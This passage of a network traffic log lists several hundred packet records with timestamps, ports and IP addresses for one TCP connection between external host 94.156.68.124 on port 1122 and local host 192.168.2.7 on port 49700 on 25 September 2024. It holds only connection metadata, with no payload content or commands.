Sep 25, 2024 01:11:12.935295105 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.935311079 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.935327053 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.935340881 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.935355902 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.935372114 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.935400009 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.935400009 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.935400009 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.935599089 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.935616016 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.935631037 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.935645103 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.935659885 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.935698986 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.935764074 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.935780048 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.935795069 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.935817957 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.935818911 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.935861111 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.935897112 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.936218023 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.936232090 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.936247110 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.936261892 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.936278105 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.936279058 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.936306953 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.936321974 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.936539888 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.936554909 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.936569929 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.936594963 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.936594963 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.936611891 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.936626911 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.936639071 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.936641932 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.936657906 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.936662912 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.936676025 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.936693907 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.937017918 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.937032938 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.937073946 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.937184095 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.937200069 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.937213898 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.937230110 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.937239885 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.937246084 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.937257051 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.937263012 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.937279940 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.937340021 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.937355042 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.937376022 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.937376022 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.937396049 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.937411070 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.937427998 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.937431097 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.937443972 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.937453032 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.937475920 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.006939888 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.006983042 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.006998062 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.007054090 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.007070065 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.007067919 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.007086039 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.007102966 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.007132053 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.007132053 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.007204056 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.007252932 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.007266045 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.007292986 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.007317066 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.007415056 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.007431030 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.007446051 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.007468939 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.007512093 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.007572889 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.007590055 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.007610083 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.007631063 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.007733107 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.007746935 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.007761955 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.007776976 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.007781982 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.007796049 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.007831097 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.007963896 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.007980108 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.007996082 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.008008957 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.008023024 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.008040905 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.035723925 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.035737991 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.035754919 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.035790920 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.035805941 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.035820961 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.035825968 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.035837889 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.035861015 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.035952091 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.035975933 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.036003113 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.036196947 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.036212921 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.036227942 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.036237955 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.036269903 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.036272049 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.036286116 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.036303043 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.036319017 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.036343098 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.036365986 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.036458015 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.037571907 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.037631989 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.037646055 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.037671089 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.037672997 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.037693024 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.037771940 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.037796021 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.037832975 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.037918091 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.037931919 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.037945986 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.037960052 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.037970066 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.037976980 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.037983894 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.038008928 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.038152933 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.038167000 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.038182974 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.038198948 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.038204908 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.038217068 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.038244963 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.038427114 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.038443089 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.038456917 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.038466930 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.038474083 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.038492918 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.038510084 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.038537979 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.038703918 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.038727999 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.038743973 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.038758039 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.038768053 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.038774014 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.038788080 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.038804054 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.038810968 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.038819075 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.038830042 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.038836002 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.038850069 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.038852930 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.038866043 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.038896084 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.039335012 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.039350033 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.039366007 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.039381027 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.039403915 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.039417028 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.039421082 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.039421082 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.039438963 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.043123960 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.043152094 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.043164015 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.043214083 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.043231964 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.043246984 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.043248892 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.043369055 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.043392897 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.043407917 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.043412924 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.043422937 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.043428898 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.043442011 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.043459892 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.043586016 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.043601036 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.043616056 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.043632030 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.043642998 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.043665886 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.043744087 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.043760061 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.043773890 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.043785095 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.043787003 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.043809891 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.043813944 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.043829918 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.043845892 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.043853998 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.043863058 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.043878078 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.043900967 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.043924093 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.044104099 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.044116974 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.044131994 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.044156075 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.044158936 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.044168949 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.044184923 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.044199944 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.044209957 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.044224977 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.044231892 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.044233084 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.044270992 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.044470072 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.044483900 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.044507027 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.044523001 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.044523001 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.044538021 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.044553041 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.044567108 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.044570923 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.044580936 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.044583082 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.044599056 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.044610023 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.044614077 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.044630051 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.044652939 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.044673920 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.044898987 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.044915915 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.044930935 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.044945002 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.044960976 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.044960976 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.044987917 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.087141991 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.093771935 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.093825102 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.093841076 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.093897104 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.093952894 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.093969107 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.093983889 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.093998909 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.094022036 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.094038010 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.094324112 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.094340086 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.094355106 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.094397068 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.094463110 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.094511986 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.094558954 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.094573975 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.094588995 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.094602108 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.094615936 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.094631910 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.094655037 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.094655037 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.094676018 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.094840050 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.094857931 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.094959021 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.094966888 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.094974041 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.094990015 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.095002890 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.095009089 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.095024109 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.122646093 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.122693062 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.122710943 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.122720003 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.122735977 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.122751951 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.122762918 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.122769117 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.122793913 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.122796059 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.122957945 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.122982979 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.122998953 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.123023033 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.123047113 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.123061895 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.123079062 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.123104095 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.123200893 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.123275042 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.123290062 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.123320103 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.123373032 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.124361992 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.124387980 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.124403000 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.124434948 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.124512911 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.124527931 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.124547005 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.124556065 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.124592066 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.124646902 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.124663115 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.124742985 CEST	49700	1122	192.168.2.7	94.156.68.124
